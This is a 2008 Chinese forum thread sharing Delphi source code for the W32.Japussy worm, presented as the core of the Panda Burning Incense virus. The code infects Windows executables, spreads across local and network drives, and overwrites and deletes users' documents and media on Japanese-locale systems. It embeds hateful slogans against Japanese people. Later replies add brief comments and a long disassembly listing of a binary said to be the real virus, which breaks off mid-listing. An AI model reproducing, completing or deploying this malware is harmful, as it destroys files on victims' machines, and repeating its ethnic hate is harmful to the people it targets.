查看完整版本: 病毒代码——熊猫烧香核心代码

402996575 2008-5-24 16:56

病毒代码——熊猫烧香核心代码

[url=http://www.fanghei.net/upfiles/2007/20070411115632.jpg][img]http://www.fanghei.net/upfiles/2007/20070411115632.jpg[/img][/url]
program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432;             //病毒体的大小
iconoffset = $12eb8;           //pe文件主图标的偏移量
//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
  
{
headersize = 38912;             //upx压缩过病毒体的大小
iconoffset = $92bc;             //upx压缩过pe文件主图标的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize   = $2e8;             //pe文件主图标的大小--744字节
icontail   = iconoffset + iconsize; //pe文件主图标的尾部
id       = $44444444;         //感染标记
//垃圾码,以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
        'if a country need to be destroyed, it must be japan! ' +
        '*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si:     startupinfo;
pi:     process_information;
isjap:   boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
  exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
  result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来,以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
  sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
  try
    dstream := tfilestream.create(filename, fmcreate);
    try
    sstream.seek(headersize, 0); //跳过头部的病毒部分
    dstream.copyfrom(sstream, sstream.size - headersize);
    finally
    dstream.free;
    end;
  finally
    sstream.free;
  end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用,退出
  if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
    exit;
  infected := false;
  ispe   := false;
  srcstream := tfilestream.create(filename, fmopenread);
  try
    for i := 0 to $108 do //检查pe文件头
    begin
    srcstream.seek(i, sofrombeginning);
    srcstream.read(buf, 2);
    if (buf[0] = #80) and (buf[1] = #69) then //pe标记
    begin
      ispe := true; //是pe文件
      break;
    end;
    end;
    srcstream.seek(-4, sofromend); //检查感染标记
    srcstream.read(iid, 4);
    if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
    infected := true;
  finally
    srcstream.free;
  end;
  if infected or (not ispe) then //如果感染过了或不是pe文件则退出
    exit;
  icostream := tmemorystream.create;
  dststream := tmemorystream.create;
  try
    aicon := ticon.create;
    try
    //得到被感染文件的主图标(744字节),存入流
    aicon.releasehandle;
    aicon.handle := extracticon(hinstance, pchar(filename), 0);
    aicon.savetostream(icostream);
    finally
    aicon.free;
    end;
    srcstream := tfilestream.create(filename, fmopenread);
    //头文件
    hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
    try
    //写入病毒体主图标之前的数据
    copystream(hdrstream, 0, dststream, 0, iconoffset);
    //写入目前程序的主图标
    copystream(icostream, 22, dststream, iconoffset, iconsize);
    //写入病毒体主图标到病毒体尾部之间的数据
    copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
    //写入宿主程序
    copystream(srcstream, 0, dststream, headersize, srcstream.size);
    //写入已感染的标记
    dststream.seek(0, 2);
    iid := $44444444;
    dststream.write(iid, 4);
    finally
    hdrstream.free;
    end;
  finally
    srcstream.free;
    icostream.free;
    dststream.savetofile(filename); //替换宿主文件
    dststream.free;
  end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
  setfileattributes(pchar(filename), 0); //去掉只读属性
  filehandle := fileopen(filename, fmopenwrite); //打开文件
  try
    size := getfilesize(filehandle, nil); //文件大小
    i := 0;
    randomize;
    max := random(15); //写入垃圾码的随机次数
    if max < 5 then
    max := 5;
    mass := size div max; //每个间隔块的大小
    len := length(catchword);
    while i < max do
    begin
    fileseek(filehandle, i * mass, 0); //定位
    //写入垃圾码,将文件彻底破坏掉
    filewrite(filehandle, catchword, len);
    inc(i);
    end;
  finally
    fileclose(filehandle); //关闭文件
  end;
  deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
  d := chr(i + 65);
  str := d + ':\';
  disktype := getdrivetype(pchar(str));
  //得到本地磁盘和网络盘
  if (disktype = drive_fixed) or (disktype = drive_remote) then
    result := result + d;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
  if (searchrec.attr <> 16) and (searchrec.name <> '.') and
    (searchrec.name <> '..') then
    result := 0 //不是目录
  else if (searchrec.attr = 16) and (searchrec.name <> '.') and
    (searchrec.name <> '..') then
    result := 1 //不是根目录
  else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
  repeat
    peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列,避免引起怀疑
    if isvaliddir(searchrec) = 0 then
    begin
    fn := path + searchrec.name;
    ext := uppercase(extractfileext(fn));
    if (ext = '.exe') or (ext = '.scr') then
    begin
      infectonefile(fn); //感染可执行文件     
    end
    else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
    begin
      //感染html和asp文件,将base64编码后的病毒写入
      //感染浏览此网页的所有用户
      //哪位大兄弟愿意完成之?
    end
    else if ext = '.wab' then //outlook地址簿文件
    begin
      //获取outlook邮件地址
    end
    else if ext = '.adc' then //foxmail地址自动完成文件
    begin
      //获取foxmail邮件地址
    end
    else if ext = 'ind' then //foxmail地址簿文件
    begin
      //获取foxmail邮件地址
    end
    else
    begin
      if isjap then //是倭文操作系统
      begin
        if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
        (ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
        (ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
        (ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
        (ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
        (ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
          smashfile(fn); //摧毁文件
      end;
    end;
    end;
    //感染或删除一个文件后睡眠200毫秒,避免cpu占用率过高引起怀疑
    sleep(200);
  until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
  repeat
    if isvaliddir(searchrec) = 1 then
    subdir.add(searchrec.name);
  until (findnext(searchrec) <> 0);
  end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
  loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
  isjap := true; //去死吧!
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
  for i := len downto 1 do //遍历每个磁盘驱动器
    loopfiles(driverlist + ':\', '*.*'); //感染之
  sendmail; //发带毒邮件
  sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
  registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
  //远程线程映射到explorer进程
  //哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
  infectfiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
  tmpfile := paramstr(0); //创建临时文件
  delete(tmpfile, length(tmpfile) - 4, 4);
  tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一个空格
  extractfile(tmpfile); //分离之
  fillstartupinfo(si, sw_showdefault);
  createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
    0, nil, '.', si, pi); //创建新进程运行之
  infectfiles; //感染和发邮件
end;
end.

~大盗| 2008-5-24 21:48

回复 1# 的帖子

这是什么语言写的,,,



:face3

Thedog 2008-5-25 01:41

不懂不懂::18:: ::18:: ::18::

li4ng 2008-5-25 02:31

::08::  
过期的熊猫了..

li4ng 2008-5-25 02:32

1楼的.
是用DELPHI写的.::11::

402996575 2008-5-25 19:09

恩,是啊!::16:: ::16:: ::16:: ::16::

FENG264290605 2008-6-2 06:12

收藏了....::01:: ::01::
感谢LZ的分享.!!!

gaoyoo 2008-6-6 08:25

哀,这不是真熊猫。只是一个用熊猫的技术的另一个病毒——w32.japussy.worm.a。
真熊猫的原代码在警察叔叔那里呢!
我这里有反编译的真熊猫汇编代码
**************************************************************
00401000   . /04104000      DD setup_un.00401004
00401004     \0A            DB 0A
00401005   .  06            DB 06
00401006   .  53 74 72 69 6>ASCII "String"
0040100C      58104000      DD setup_un.00401058                     ;  ASCII 07,"TObject"
00401010      00            DB 00
00401011      00            DB 00
00401012      00            DB 00
00401013      00            DB 00
00401014      00            DB 00
00401015      00            DB 00
00401016      00            DB 00
00401017      00            DB 00
00401018      00            DB 00
00401019      00            DB 00
0040101A      00            DB 00
0040101B      00            DB 00
0040101C      00            DB 00
0040101D      00            DB 00
0040101E      00            DB 00
0040101F      00            DB 00
00401020      00            DB 00
00401021      00            DB 00
00401022      00            DB 00
00401023      00            DB 00
00401024      00            DB 00
00401025      00            DB 00
00401026      00            DB 00
00401027      00            DB 00
00401028      00            DB 00
00401029      00            DB 00
0040102A      00            DB 00
0040102B      00            DB 00
0040102C      58104000      DD setup_un.00401058                     ;  ASCII 07,"TObject"
00401030      04            DB 04
00401031      00            DB 00
00401032      00            DB 00
00401033      00            DB 00
00401034      00            DB 00
00401035      00            DB 00
00401036      00            DB 00
00401037      00            DB 00
00401038      94334000      DD setup_un.00403394
0040103C      A0334000      DD setup_un.004033A0
00401040      A4334000      DD setup_un.004033A4
00401044      A8334000      DD setup_un.004033A8
00401048      9C334000      DD setup_un.0040339C
0040104C      78324000      DD setup_un.00403278
00401050      94324000      DD setup_un.00403294
00401054      D0324000      DD setup_un.004032D0
00401058   .  07            DB 07
00401059   .  54 4F 62 6A 6>ASCII "TObject"
00401060   $- FF25 B4014100 JMP DWORD PTR DS:[<&kernel32.CloseHandle>;  kernel32.CloseHandle
00401066      8BC0          MOV EAX,EAX
00401068   $- FF25 B0014100 JMP DWORD PTR DS:[<&kernel32.CreateFileA>;  kernel32.CreateFileA
0040106E      8BC0          MOV EAX,EAX
00401070   $- FF25 AC014100 JMP DWORD PTR DS:[<&kernel32.GetFileType>;  kernel32.GetFileType
00401076      8BC0          MOV EAX,EAX
00401078   $- FF25 A8014100 JMP DWORD PTR DS:[<&kernel32.GetFileSize>;  kernel32.GetFileSize
0040107E      8BC0          MOV EAX,EAX
00401080   $- FF25 A4014100 JMP DWORD PTR DS:[<&kernel32.GetStdHandl>;  kernel32.GetStdHandle
00401086      8BC0          MOV EAX,EAX
00401088   .- FF25 A0014100 JMP DWORD PTR DS:[<&kernel32.RaiseExcept>;  kernel32.RaiseException
0040108E      8BC0          MOV EAX,EAX
00401090   $- FF25 9C014100 JMP DWORD PTR DS:[<&kernel32.ReadFile>]  ;  kernel32.ReadFile
00401096      8BC0          MOV EAX,EAX
00401098   .- FF25 98014100 JMP DWORD PTR DS:[<&kernel32.RtlUnwind>] ;  ntdll.RtlUnwind
0040109E      8BC0          MOV EAX,EAX
004010A0   $- FF25 94014100 JMP DWORD PTR DS:[<&kernel32.SetEndOfFil>;  kernel32.SetEndOfFile
004010A6      8BC0          MOV EAX,EAX
004010A8   $- FF25 90014100 JMP DWORD PTR DS:[<&kernel32.SetFilePoin>;  kernel32.SetFilePointer
004010AE      8BC0          MOV EAX,EAX
004010B0   $- FF25 8C014100 JMP DWORD PTR DS:[<&kernel32.UnhandledEx>;  kernel32.UnhandledExceptionFilter
004010B6      8BC0          MOV EAX,EAX
004010B8   $- FF25 88014100 JMP DWORD PTR DS:[<&kernel32.WriteFile>] ;  kernel32.WriteFile
004010BE      8BC0          MOV EAX,EAX
004010C0   $- FF25 C4014100 JMP DWORD PTR DS:[<&user32.CharNextA>]   ;  USER32.CharNextA
004010C6      8BC0          MOV EAX,EAX
004010C8   $- FF25 84014100 JMP DWORD PTR DS:[<&kernel32.CreateThrea>;  kernel32.CreateThread
004010CE      8BC0          MOV EAX,EAX
004010D0   .- FF25 80014100 JMP DWORD PTR DS:[<&kernel32.ExitProcess>;  kernel32.ExitProcess
004010D6      8BC0          MOV EAX,EAX
004010D8   $- FF25 C0014100 JMP DWORD PTR DS:[<&user32.MessageBoxA>] ;  USER32.MessageBoxA
004010DE      8BC0          MOV EAX,EAX
004010E0   $- FF25 7C014100 JMP DWORD PTR DS:[<&kernel32.FreeLibrary>;  kernel32.FreeLibrary
004010E6      8BC0          MOV EAX,EAX
004010E8   $- FF25 78014100 JMP DWORD PTR DS:[<&kernel32.GetCommandL>;  kernel32.GetCommandLineA
004010EE      8BC0          MOV EAX,EAX
004010F0   $- FF25 74014100 JMP DWORD PTR DS:[<&kernel32.GetLastErro>;  ntdll.RtlGetLastWin32Error
004010F6      8BC0          MOV EAX,EAX
004010F8   $- FF25 70014100 JMP DWORD PTR DS:[<&kernel32.GetLocaleIn>;  kernel32.GetLocaleInfoA
004010FE      8BC0          MOV EAX,EAX
00401100   $- FF25 6C014100 JMP DWORD PTR DS:[<&kernel32.GetModuleFi>;  kernel32.GetModuleFileNameA
00401106      8BC0          MOV EAX,EAX
00401108   $- FF25 68014100 JMP DWORD PTR DS:[<&kernel32.GetStartupI>;  kernel32.GetStartupInfoA
0040110E      8BC0          MOV EAX,EAX
00401110   $- FF25 64014100 JMP DWORD PTR DS:[<&kernel32.GetThreadLo>;  kernel32.GetThreadLocale
00401116      8BC0          MOV EAX,EAX
00401118   $- FF25 60014100 JMP DWORD PTR DS:[<&kernel32.MultiByteTo>;  kernel32.MultiByteToWideChar
0040111E      8BC0          MOV EAX,EAX
00401120   $- FF25 D4014100 JMP DWORD PTR DS:[<&advapi32.RegCloseKey>;  ADVAPI32.RegCloseKey
00401126      8BC0          MOV EAX,EAX
00401128   $- FF25 D0014100 JMP DWORD PTR DS:[<&advapi32.RegOpenKeyE>;  ADVAPI32.RegOpenKeyExA
0040112E      8BC0          MOV EAX,EAX
00401130   $- FF25 CC014100 JMP DWORD PTR DS:[<&advapi32.RegQueryVal>;  ADVAPI32.RegQueryValueExA
00401136      8BC0          MOV EAX,EAX
00401138   $- FF25 5C014100 JMP DWORD PTR DS:[<&kernel32.WideCharToM>;  kernel32.WideCharToMultiByte
0040113E      8BC0          MOV EAX,EAX
00401140   $- FF25 E0014100 JMP DWORD PTR DS:[<&oleaut32.SysAllocStr>;  OLEAUT32.SysAllocStringLen
00401146      8BC0          MOV EAX,EAX
00401148   $- FF25 DC014100 JMP DWORD PTR DS:[<&oleaut32.SysFreeStri>;  OLEAUT32.SysFreeString
0040114E      8BC0          MOV EAX,EAX
00401150   $- FF25 58014100 JMP DWORD PTR DS:[<&kernel32.GetCurrentT>;  kernel32.GetCurrentThreadId
00401156      8BC0          MOV EAX,EAX
00401158   $- FF25 54014100 JMP DWORD PTR DS:[<&kernel32.GetVersion>>;  kernel32.GetVersion
0040115E      8BC0          MOV EAX,EAX
00401160   $- FF25 50014100 JMP DWORD PTR DS:[<&kernel32.QueryPerfor>;  kernel32.QueryPerformanceCounter
00401166      8BC0          MOV EAX,EAX
00401168   $- FF25 4C014100 JMP DWORD PTR DS:[<&kernel32.GetTickCoun>;  kernel32.GetTickCount
0040116E      8BC0          MOV EAX,EAX
00401170  /$  53            PUSH EBX
00401171  |.  83C4 BC       ADD ESP,-44
00401174  |.  BB 0A000000   MOV EBX,0A
00401179  |.  54            PUSH ESP                                 ; /pStartupinfo
0040117A  |.  E8 89FFFFFF   CALL <JMP.&kernel32.GetStartupInfoA>     ; \GetStartupInfoA
0040117F  |.  F64424 2C 01  TEST BYTE PTR SS:[ESP+2C],1
00401184  |.  74 05         JE SHORT setup_un.0040118B
00401186  |.  0FB75C24 30   MOVZX EBX,WORD PTR SS:[ESP+30]
0040118B  |>  8BC3          MOV EAX,EBX
0040118D  |.  83C4 44       ADD ESP,44
00401190  |.  5B            POP EBX
00401191  \.  C3            RETN
00401192      8BC0          MOV EAX,EAX
00401194   $- FF25 48014100 JMP DWORD PTR DS:[<&kernel32.LocalAlloc>>;  kernel32.LocalAlloc
0040119A      8BC0          MOV EAX,EAX
0040119C   $- FF25 44014100 JMP DWORD PTR DS:[<&kernel32.LocalFree>] ;  kernel32.LocalFree
004011A2      8BC0          MOV EAX,EAX
004011A4   $- FF25 40014100 JMP DWORD PTR DS:[<&kernel32.VirtualAllo>;  kernel32.VirtualAlloc
004011AA      8BC0          MOV EAX,EAX
004011AC   $- FF25 3C014100 JMP DWORD PTR DS:[<&kernel32.VirtualFree>;  kernel32.VirtualFree
004011B2      8BC0          MOV EAX,EAX
004011B4   $- FF25 38014100 JMP DWORD PTR DS:[<&kernel32.InitializeC>;  kernel32.InitializeCriticalSection
004011BA      8BC0          MOV EAX,EAX
004011BC   $- FF25 34014100 JMP DWORD PTR DS:[<&kernel32.EnterCritic>;  ntdll.RtlEnterCriticalSection
004011C2      8BC0          MOV EAX,EAX
004011C4   $- FF25 30014100 JMP DWORD PTR DS:[<&kernel32.LeaveCritic>;  ntdll.RtlLeaveCriticalSection
004011CA      8BC0          MOV EAX,EAX
004011CC   $- FF25 2C014100 JMP DWORD PTR DS:[<&kernel32.DeleteCriti>;  ntdll.RtlDeleteCriticalSection
004011D2      8BC0          MOV EAX,EAX
004011D4  /$  53            PUSH EBX
004011D5  |.  56            PUSH ESI
004011D6  |.  BE D0F54000   MOV ESI,setup_un.0040F5D0
004011DB  |.  833E 00       CMP DWORD PTR DS:[ESI],0
004011DE  |.  75 3A         JNZ SHORT setup_un.0040121A
004011E0  |.  68 44060000   PUSH 644                                 ; /Size = 644 (1604.)
004011E5  |.  6A 00         PUSH 0                                   ; |Flags = LMEM_FIXED
004011E7  |.  E8 A8FFFFFF   CALL <JMP.&kernel32.LocalAlloc>          ; \LocalAlloc
004011EC  |.  8BC8          MOV ECX,EAX
004011EE  |.  85C9          TEST ECX,ECX
004011F0  |.  75 05         JNZ SHORT setup_un.004011F7
004011F2  |.  33C0          XOR EAX,EAX
004011F4  |.  5E            POP ESI
004011F5  |.  5B            POP EBX
004011F6  |.  C3            RETN
004011F7  |>  A1 CCF54000   MOV EAX,DWORD PTR DS:[40F5CC]
004011FC  |.  8901          MOV DWORD PTR DS:[ECX],EAX
004011FE  |.  890D CCF54000 MOV DWORD PTR DS:[40F5CC],ECX
00401204  |.  33D2          XOR EDX,EDX
00401206  |>  8BC2          /MOV EAX,EDX
00401208  |.  03C0          |ADD EAX,EAX
0040120A  |.  8D44C1 04     |LEA EAX,DWORD PTR DS:[ECX+EAX*8+4]
0040120E  |.  8B1E          |MOV EBX,DWORD PTR DS:[ESI]
00401210  |.  8918          |MOV DWORD PTR DS:[EAX],EBX
00401212  |.  8906          |MOV DWORD PTR DS:[ESI],EAX
00401214  |.  42            |INC EDX
00401215  |.  83FA 64       |CMP EDX,64
00401218  |.^ 75 EC         \JNZ SHORT setup_un.00401206
0040121A  |>  8B06          MOV EAX,DWORD PTR DS:[ESI]
0040121C  |.  8B10          MOV EDX,DWORD PTR DS:[EAX]
0040121E  |.  8916          MOV DWORD PTR DS:[ESI],EDX
00401220  |.  5E            POP ESI
00401221  |.  5B            POP EBX
00401222  \.  C3            RETN
00401223      90            NOP
00401224  /$  8900          MOV DWORD PTR DS:[EAX],EAX
00401226  |.  8940 04       MOV DWORD PTR DS:[EAX+4],EAX
00401229  \.  C3            RETN
0040122A      8BC0          MOV EAX,EAX
0040122C  /$  53            PUSH EBX
0040122D  |.  56            PUSH ESI
0040122E  |.  8BF2          MOV ESI,EDX
00401230  |.  8BD8          MOV EBX,EAX
00401232  |.  E8 9DFFFFFF   CALL setup_un.004011D4
00401237  |.  85C0          TEST EAX,EAX
00401239  |.  75 05         JNZ SHORT setup_un.00401240
0040123B  |.  33C0          XOR EAX,EAX
0040123D  |.  5E            POP ESI
0040123E  |.  5B            POP EBX
0040123F  |.  C3            RETN
00401240  |>  8B16          MOV EDX,DWORD PTR DS:[ESI]
00401242  |.  8950 08       MOV DWORD PTR DS:[EAX+8],EDX
00401245  |.  8B56 04       MOV EDX,DWORD PTR DS:[ESI+4]
00401248  |.  8950 0C       MOV DWORD PTR DS:[EAX+C],EDX
0040124B  |.  8B13          MOV EDX,DWORD PTR DS:[EBX]
0040124D  |.  8910          MOV DWORD PTR DS:[EAX],EDX
0040124F  |.  8958 04       MOV DWORD PTR DS:[EAX+4],EBX
00401252  |.  8942 04       MOV DWORD PTR DS:[EDX+4],EAX
00401255  |.  8903          MOV DWORD PTR DS:[EBX],EAX
00401257  |.  B0 01         MOV AL,1
00401259  |.  5E            POP ESI
0040125A  |.  5B            POP EBX
0040125B  \.  C3            RETN
0040125C  /$  8B50 04       MOV EDX,DWORD PTR DS:[EAX+4]
0040125F  |.  8B08          MOV ECX,DWORD PTR DS:[EAX]
00401261  |.  890A          MOV DWORD PTR DS:[EDX],ECX
00401263  |.  8951 04       MOV DWORD PTR DS:[ECX+4],EDX
00401266  |.  8B15 D0F54000 MOV EDX,DWORD PTR DS:[40F5D0]
0040126C  |.  8910          MOV DWORD PTR DS:[EAX],EDX
0040126E  |.  A3 D0F54000   MOV DWORD PTR DS:[40F5D0],EAX
00401273  \.  C3            RETN
00401274  /$  53            PUSH EBX
00401275  |.  56            PUSH ESI
00401276  |.  57            PUSH EDI
00401277  |.  55            PUSH EBP
00401278  |.  51            PUSH ECX
00401279  |.  8BF1          MOV ESI,ECX
0040127B  |.  891424        MOV DWORD PTR SS:[ESP],EDX
0040127E  |.  8BE8          MOV EBP,EAX
00401280  |.  8B5D 00       MOV EBX,DWORD PTR SS:[EBP]
00401283  |.  8B0424        MOV EAX,DWORD PTR SS:[ESP]
00401286  |.  8B10          MOV EDX,DWORD PTR DS:[EAX]
00401288  |.  8916          MOV DWORD PTR DS:[ESI],EDX
0040128A  |.  8B50 04       MOV EDX,DWORD PTR DS:[EAX+4]
0040128D  |.  8956 04       MOV DWORD PTR DS:[ESI+4],EDX
00401290  |>  8B3B          /MOV EDI,DWORD PTR DS:[EBX]
00401292  |.  8B06          |MOV EAX,DWORD PTR DS:[ESI]
00401294  |.  8B53 08       |MOV EDX,DWORD PTR DS:[EBX+8]
00401297  |.  0353 0C       |ADD EDX,DWORD PTR DS:[EBX+C]
0040129A  |.  3BC2          |CMP EAX,EDX
0040129C  |.  75 14         |JNZ SHORT setup_un.004012B2
0040129E  |.  8BC3          |MOV EAX,EBX
004012A0  |.  E8 B7FFFFFF   |CALL setup_un.0040125C
004012A5  |.  8B43 08       |MOV EAX,DWORD PTR DS:[EBX+8]
004012A8  |.  8906          |MOV DWORD PTR DS:[ESI],EAX
004012AA  |.  8B43 0C       |MOV EAX,DWORD PTR DS:[EBX+C]
004012AD  |.  0146 04       |ADD DWORD PTR DS:[ESI+4],EAX
004012B0  |.  EB 15         |JMP SHORT setup_un.004012C7
004012B2  |>  0346 04       |ADD EAX,DWORD PTR DS:[ESI+4]
004012B5  |.  3B43 08       |CMP EAX,DWORD PTR DS:[EBX+8]
004012B8  |.  75 0D         |JNZ SHORT setup_un.004012C7
004012BA  |.  8BC3          |MOV EAX,EBX
004012BC  |.  E8 9BFFFFFF   |CALL setup_un.0040125C
004012C1  |.  8B43 0C       |MOV EAX,DWORD PTR DS:[EBX+C]
004012C4  |.  0146 04       |ADD DWORD PTR DS:[ESI+4],EAX
004012C7  |>  8BDF          |MOV EBX,EDI
004012C9  |.  3BEB          |CMP EBP,EBX
004012CB  |.^ 75 C3         \JNZ SHORT setup_un.00401290
004012CD  |.  8BD6          MOV EDX,ESI
004012CF  |.  8BC5          MOV EAX,EBP
004012D1  |.  E8 56FFFFFF   CALL setup_un.0040122C
004012D6  |.  84C0          TEST AL,AL
004012D8  |.  75 04         JNZ SHORT setup_un.004012DE
004012DA  |.  33C0          XOR EAX,EAX
004012DC  |.  8906          MOV DWORD PTR DS:[ESI],EAX
004012DE  |>  5A            POP EDX
004012DF  |.  5D            POP EBP
004012E0  |.  5F            POP EDI
004012E1  |.  5E            POP ESI
004012E2  |.  5B            POP EBX
004012E3  \.  C3            RETN
004012E4  /$  53            PUSH EBX
004012E5  |.  56            PUSH ESI
004012E6  |.  57            PUSH EDI
004012E7  |.  55            PUSH EBP
004012E8  |.  83C4 F8       ADD ESP,-8
004012EB  |.  8BD8          MOV EBX,EAX
004012ED  |.  8BFB          MOV EDI,EBX
004012EF  |>  8B32          /MOV ESI,DWORD PTR DS:[EDX]
004012F1  |.  8B43 08       |MOV EAX,DWORD PTR DS:[EBX+8]
004012F4  |.  3BF0          |CMP ESI,EAX
004012F6  |.  72 70         |JB SHORT setup_un.00401368
004012F8  |.  8BCE          |MOV ECX,ESI
004012FA  |.  034A 04       |ADD ECX,DWORD PTR DS:[EDX+4]
004012FD  |.  8BE8          |MOV EBP,EAX
004012FF  |.  036B 0C       |ADD EBP,DWORD PTR DS:[EBX+C]
00401302  |.  3BCD          |CMP ECX,EBP
00401304  |.  77 62         |JA SHORT setup_un.00401368
00401306  |.  3BF0          |CMP ESI,EAX
00401308  |.  75 1B         |JNZ SHORT setup_un.00401325
0040130A  |.  8B42 04       |MOV EAX,DWORD PTR DS:[EDX+4]
0040130D  |.  0143 08       |ADD DWORD PTR DS:[EBX+8],EAX
00401310  |.  8B42 04       |MOV EAX,DWORD PTR DS:[EDX+4]
00401313  |.  2943 0C       |SUB DWORD PTR DS:[EBX+C],EAX
00401316  |.  837B 0C 00    |CMP DWORD PTR DS:[EBX+C],0
0040131A  |.  75 48         |JNZ SHORT setup_un.00401364
0040131C  |.  8BC3          |MOV EAX,EBX
0040131E  |.  E8 39FFFFFF   |CALL setup_un.0040125C
00401323  |.  EB 3F         |JMP SHORT setup_un.00401364
00401325  |>  8BCE          |MOV ECX,ESI
00401327  |.  8B7A 04       |MOV EDI,DWORD PTR DS:[EDX+4]
0040132A  |.  03CF          |ADD ECX,EDI
0040132C  |.  8BE8          |MOV EBP,EAX
0040132E  |.  036B 0C       |ADD EBP,DWORD PTR DS:[EBX+C]
00401331  |.  3BCD          |CMP ECX,EBP
00401333  |.  75 05         |JNZ SHORT setup_un.0040133A
00401335  |.  297B 0C       |SUB DWORD PTR DS:[EBX+C],EDI
00401338  |.  EB 2A         |JMP SHORT setup_un.00401364
0040133A  |>  8B0A          |MOV ECX,DWORD PTR DS:[EDX]
0040133C  |.  034A 04       |ADD ECX,DWORD PTR DS:[EDX+4]
0040133F  |.  890C24        |MOV DWORD PTR SS:[ESP],ECX
00401342  |.  8B7B 08       |MOV EDI,DWORD PTR DS:[EBX+8]
00401345  |.  037B 0C       |ADD EDI,DWORD PTR DS:[EBX+C]
00401348  |.  2BF9          |SUB EDI,ECX
0040134A  |.  897C24 04     |MOV DWORD PTR SS:[ESP+4],EDI
0040134E  |.  2BF0          |SUB ESI,EAX
00401350  |.  8973 0C       |MOV DWORD PTR DS:[EBX+C],ESI
00401353  |.  8BD4          |MOV EDX,ESP
00401355  |.  8BC3          |MOV EAX,EBX
00401357  |.  E8 D0FEFFFF   |CALL setup_un.0040122C
0040135C  |.  84C0          |TEST AL,AL
0040135E  |.  75 04         |JNZ SHORT setup_un.00401364
00401360  |.  33C0          |XOR EAX,EAX
00401362  |.  EB 0C         |JMP SHORT setup_un.00401370
00401364  |>  B0 01         |MOV AL,1
00401366  |.  EB 08         |JMP SHORT setup_un.00401370
00401368  |>  8B1B          |MOV EBX,DWORD PTR DS:[EBX]
0040136A  |.  3BFB          |CMP EDI,EBX
0040136C  |.^ 75 81         \JNZ SHORT setup_un.004012EF
0040136E  |.  33C0          XOR EAX,EAX
00401370  |>  59            POP ECX
00401371  |.  5A            POP EDX
00401372  |.  5D            POP EBP
00401373  |.  5F            POP EDI
00401374  |.  5E            POP ESI
00401375  |.  5B            POP EBX
00401376  \.  C3            RETN
00401377      90            NOP
00401378  /$  53            PUSH EBX
00401379  |.  56            PUSH ESI
0040137A  |.  57            PUSH EDI
0040137B  |.  8BDA          MOV EBX,EDX
0040137D  |.  8BF0          MOV ESI,EAX
0040137F  |.  81FE 00001000 CMP ESI,100000
00401385  |.  7D 07         JGE SHORT setup_un.0040138E
